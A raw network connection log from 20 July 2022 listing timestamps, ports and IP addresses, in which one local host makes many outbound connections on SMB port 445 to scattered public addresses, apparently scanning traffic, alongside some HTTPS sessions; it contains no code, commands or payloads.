Jul 20, 2022 09:10:03.069323063 CEST	55229	445	192.168.2.6	149.125.99.197
Jul 20, 2022 09:10:03.069458008 CEST	55231	445	192.168.2.6	185.191.178.228
Jul 20, 2022 09:10:03.077414989 CEST	55235	445	192.168.2.6	104.194.218.202
Jul 20, 2022 09:10:03.077461004 CEST	55238	445	192.168.2.6	148.248.11.149
Jul 20, 2022 09:10:03.077550888 CEST	55239	445	192.168.2.6	14.190.241.175
Jul 20, 2022 09:10:03.106303930 CEST	55241	445	192.168.2.6	190.239.229.162
Jul 20, 2022 09:10:03.107733965 CEST	55243	445	192.168.2.6	187.233.31.243
Jul 20, 2022 09:10:03.109870911 CEST	55246	445	192.168.2.6	201.232.246.245
Jul 20, 2022 09:10:03.112335920 CEST	55249	445	192.168.2.6	99.252.11.216
Jul 20, 2022 09:10:03.116964102 CEST	55256	445	192.168.2.6	180.151.115.232
Jul 20, 2022 09:10:03.117573023 CEST	445	55231	185.191.178.228	192.168.2.6
Jul 20, 2022 09:10:03.118356943 CEST	55258	445	192.168.2.6	152.209.251.237
Jul 20, 2022 09:10:03.119402885 CEST	55259	445	192.168.2.6	173.212.123.67
Jul 20, 2022 09:10:03.123183966 CEST	55264	445	192.168.2.6	106.216.245.194
Jul 20, 2022 09:10:03.123999119 CEST	55265	445	192.168.2.6	161.144.43.2
Jul 20, 2022 09:10:03.281780005 CEST	445	55185	179.132.224.71	192.168.2.6
Jul 20, 2022 09:10:03.318917036 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.318969965 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.319057941 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.320071936 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.320087910 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.397770882 CEST	445	55218	210.184.16.74	192.168.2.6
Jul 20, 2022 09:10:03.425968885 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.426050901 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.428359985 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.428381920 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.428741932 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.429725885 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.429810047 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.429825068 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.429960012 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.459634066 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.460124969 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.460144043 CEST	443	55268	20.199.120.85	192.168.2.6
Jul 20, 2022 09:10:03.460176945 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.460196018 CEST	55268	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:10:03.495760918 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:03.732182980 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:03.732228994 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:03.732321978 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:03.732664108 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:03.732690096 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:03.789412975 CEST	55231	445	192.168.2.6	185.191.178.228
Jul 20, 2022 09:10:03.789443016 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:03.835252047 CEST	445	55231	185.191.178.228	192.168.2.6
Jul 20, 2022 09:10:03.995861053 CEST	55218	445	192.168.2.6	210.184.16.74
Jul 20, 2022 09:10:04.059643030 CEST	55272	445	192.168.2.6	131.146.33.80
Jul 20, 2022 09:10:04.079088926 CEST	55275	445	192.168.2.6	56.112.55.234
Jul 20, 2022 09:10:04.083045959 CEST	55277	445	192.168.2.6	81.207.237.36
Jul 20, 2022 09:10:04.083373070 CEST	55278	445	192.168.2.6	54.80.77.179
Jul 20, 2022 09:10:04.083528042 CEST	55279	445	192.168.2.6	178.153.13.50
Jul 20, 2022 09:10:04.083589077 CEST	55280	445	192.168.2.6	173.7.164.43
Jul 20, 2022 09:10:04.084701061 CEST	55283	445	192.168.2.6	45.181.64.110
Jul 20, 2022 09:10:04.105238914 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:04.145044088 CEST	55286	445	192.168.2.6	8.90.214.78
Jul 20, 2022 09:10:04.147854090 CEST	55287	445	192.168.2.6	88.176.120.148
Jul 20, 2022 09:10:04.148327112 CEST	55291	445	192.168.2.6	148.43.107.130
Jul 20, 2022 09:10:04.175873041 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.176007986 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.178848982 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.178869009 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.179328918 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.181027889 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.186866999 CEST	55297	445	192.168.2.6	26.156.216.12
Jul 20, 2022 09:10:04.189012051 CEST	55299	445	192.168.2.6	202.54.124.106
Jul 20, 2022 09:10:04.190037966 CEST	55300	445	192.168.2.6	73.221.139.117
Jul 20, 2022 09:10:04.191610098 CEST	55302	445	192.168.2.6	98.132.175.119
Jul 20, 2022 09:10:04.193860054 CEST	55305	445	192.168.2.6	64.101.158.48
Jul 20, 2022 09:10:04.194689989 CEST	55306	445	192.168.2.6	205.231.249.169
Jul 20, 2022 09:10:04.197076082 CEST	55309	445	192.168.2.6	13.160.177.216
Jul 20, 2022 09:10:04.198497057 CEST	55311	445	192.168.2.6	179.7.196.7
Jul 20, 2022 09:10:04.199476957 CEST	55312	445	192.168.2.6	189.47.205.103
Jul 20, 2022 09:10:04.201574087 CEST	55315	445	192.168.2.6	14.201.13.159
Jul 20, 2022 09:10:04.202337027 CEST	55316	445	192.168.2.6	85.51.25.202
Jul 20, 2022 09:10:04.203871965 CEST	55318	445	192.168.2.6	18.217.102.115
Jul 20, 2022 09:10:04.217677116 CEST	55321	445	192.168.2.6	49.69.63.116
Jul 20, 2022 09:10:04.218417883 CEST	55322	445	192.168.2.6	146.52.124.170
Jul 20, 2022 09:10:04.219800949 CEST	55324	445	192.168.2.6	71.143.22.120
Jul 20, 2022 09:10:04.224458933 CEST	55331	445	192.168.2.6	160.180.216.138
Jul 20, 2022 09:10:04.224509001 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.227252960 CEST	55334	445	192.168.2.6	149.29.32.49
Jul 20, 2022 09:10:04.230854034 CEST	55337	445	192.168.2.6	62.232.70.104
Jul 20, 2022 09:10:04.235474110 CEST	55339	445	192.168.2.6	114.85.217.46
Jul 20, 2022 09:10:04.240251064 CEST	55343	445	192.168.2.6	36.124.251.90
Jul 20, 2022 09:10:04.244759083 CEST	55344	445	192.168.2.6	8.31.45.155
Jul 20, 2022 09:10:04.290314913 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.290358067 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.290452003 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.291106939 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.291130066 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.330378056 CEST	445	55218	210.184.16.74	192.168.2.6
Jul 20, 2022 09:10:04.351707935 CEST	445	55318	18.217.102.115	192.168.2.6
Jul 20, 2022 09:10:04.379493952 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:04.437129974 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.437203884 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.441658020 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.441678047 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.443707943 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.443725109 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.443881989 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.443892956 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.468930006 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.468962908 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.468988895 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.469103098 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.469126940 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.469163895 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.469206095 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.469224930 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.469275951 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.469278097 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.469331980 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.473259926 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.473299026 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.473314047 CEST	55270	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:04.473329067 CEST	443	55270	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:04.537853956 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.537938118 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.537996054 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.538041115 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.553222895 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.553248882 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.553255081 CEST	443	55347	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:04.553378105 CEST	55347	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:04.573597908 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.573645115 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.573826075 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.576965094 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.577001095 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.670310974 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.670756102 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.673248053 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.673268080 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.673615932 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.675184965 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.720496893 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844723940 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844757080 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844778061 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844886065 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.844904900 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844959021 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.844959974 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.844995975 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.845033884 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.845056057 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.845061064 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.845088005 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.845110893 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.845117092 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.845151901 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.864144087 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.864178896 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.864195108 CEST	55348	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:04.864202023 CEST	443	55348	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:04.908914089 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:04.908986092 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:04.909110069 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:04.916894913 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:04.916923046 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:04.995884895 CEST	55318	445	192.168.2.6	18.217.102.115
Jul 20, 2022 09:10:05.070071936 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.070183992 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.076971054 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.076994896 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.077342033 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.077394962 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.077663898 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.120501995 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.145344973 CEST	445	55318	18.217.102.115	192.168.2.6
Jul 20, 2022 09:10:05.166471958 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.166555882 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.166644096 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.166716099 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.175867081 CEST	55353	445	192.168.2.6	163.45.60.230
Jul 20, 2022 09:10:05.179649115 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.179687977 CEST	443	55350	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.179702044 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.179757118 CEST	55350	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.182904959 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.182950020 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.183052063 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.188195944 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.188230038 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.204946995 CEST	55358	445	192.168.2.6	160.182.156.97
Jul 20, 2022 09:10:05.205044985 CEST	55361	445	192.168.2.6	131.38.40.81
Jul 20, 2022 09:10:05.205070019 CEST	55362	445	192.168.2.6	134.8.90.35
Jul 20, 2022 09:10:05.205136061 CEST	55363	445	192.168.2.6	166.31.101.118
Jul 20, 2022 09:10:05.205265045 CEST	55366	445	192.168.2.6	183.130.236.112
Jul 20, 2022 09:10:05.205276012 CEST	55364	445	192.168.2.6	181.189.135.243
Jul 20, 2022 09:10:05.295507908 CEST	55368	445	192.168.2.6	129.218.11.94
Jul 20, 2022 09:10:05.296408892 CEST	55369	445	192.168.2.6	107.224.104.190
Jul 20, 2022 09:10:05.299216986 CEST	55373	445	192.168.2.6	201.121.104.45
Jul 20, 2022 09:10:05.322952986 CEST	55377	445	192.168.2.6	147.194.111.10
Jul 20, 2022 09:10:05.323038101 CEST	55379	445	192.168.2.6	203.26.71.83
Jul 20, 2022 09:10:05.323128939 CEST	55380	445	192.168.2.6	107.77.249.199
Jul 20, 2022 09:10:05.323451996 CEST	55386	445	192.168.2.6	206.52.13.5
Jul 20, 2022 09:10:05.323611975 CEST	55390	445	192.168.2.6	134.229.132.72
Jul 20, 2022 09:10:05.323652029 CEST	55389	445	192.168.2.6	117.181.142.236
Jul 20, 2022 09:10:05.323777914 CEST	55391	445	192.168.2.6	165.80.127.222
Jul 20, 2022 09:10:05.337057114 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.337155104 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.338737965 CEST	55394	445	192.168.2.6	90.20.130.108
Jul 20, 2022 09:10:05.338783026 CEST	55395	445	192.168.2.6	34.184.31.169
Jul 20, 2022 09:10:05.338995934 CEST	55397	445	192.168.2.6	186.242.42.245
Jul 20, 2022 09:10:05.339103937 CEST	55400	445	192.168.2.6	162.115.21.186
Jul 20, 2022 09:10:05.339143038 CEST	55401	445	192.168.2.6	209.103.234.186
Jul 20, 2022 09:10:05.339274883 CEST	55403	445	192.168.2.6	93.146.162.171
Jul 20, 2022 09:10:05.339586020 CEST	55410	445	192.168.2.6	188.38.116.221
Jul 20, 2022 09:10:05.341552019 CEST	55413	445	192.168.2.6	25.251.24.230
Jul 20, 2022 09:10:05.341823101 CEST	55416	445	192.168.2.6	12.100.216.108
Jul 20, 2022 09:10:05.351578951 CEST	55421	445	192.168.2.6	34.103.144.198
Jul 20, 2022 09:10:05.351911068 CEST	55426	445	192.168.2.6	211.215.126.212
Jul 20, 2022 09:10:05.352097988 CEST	55428	445	192.168.2.6	137.235.50.212
Jul 20, 2022 09:10:05.355165005 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.355192900 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.419759989 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.419789076 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.490371943 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.490451097 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.490487099 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.490513086 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.494227886 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.494266987 CEST	443	55356	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.494280100 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.494348049 CEST	55356	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.522547007 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.522593021 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.522684097 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.523031950 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.523045063 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.582660913 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.582691908 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.582788944 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.583257914 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.583267927 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.605317116 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:05.668983936 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.669090986 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.670110941 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.670121908 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.672655106 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.672672033 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.726365089 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.726475954 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.733464003 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.733473063 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.733788967 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.735769033 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.736362934 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.736442089 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.736440897 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.736498117 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.736562967 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.736578941 CEST	443	55429	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.736594915 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.736620903 CEST	55429	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.739495993 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.739521980 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.739614010 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.739948034 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.739959955 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.777203083 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:05.780499935 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826034069 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826061010 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826081991 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826180935 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.826196909 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826210022 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826256037 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.826262951 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826277018 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.826324940 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.826360941 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.833905935 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.833930969 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.833942890 CEST	55430	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.833950996 CEST	443	55430	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.882746935 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.882895947 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.958142996 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.958215952 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.958312035 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.959599972 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:05.959629059 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:05.963566065 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.963584900 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:05.967600107 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:05.967613935 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.031390905 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.031460047 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.031557083 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.031600952 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.082452059 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.082487106 CEST	443	55432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.082499027 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.082535982 CEST	55432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.109255075 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.109358072 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.176969051 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.177033901 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.177393913 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.178689957 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.196170092 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.196202993 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.196338892 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.197066069 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.197081089 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.220501900 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269299984 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269326925 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269351006 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269438028 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.269463062 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269500017 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269531012 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269532919 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.269546986 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269567966 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.269603968 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.269612074 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269624949 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.269654036 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.269695997 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.272955894 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.272984982 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.272994995 CEST	55434	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:06.273001909 CEST	443	55434	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:06.294704914 CEST	55437	445	192.168.2.6	212.119.227.172
Jul 20, 2022 09:10:06.325077057 CEST	55440	445	192.168.2.6	164.110.209.51
Jul 20, 2022 09:10:06.327126026 CEST	55443	445	192.168.2.6	218.1.244.249
Jul 20, 2022 09:10:06.327739000 CEST	55444	445	192.168.2.6	32.5.178.153
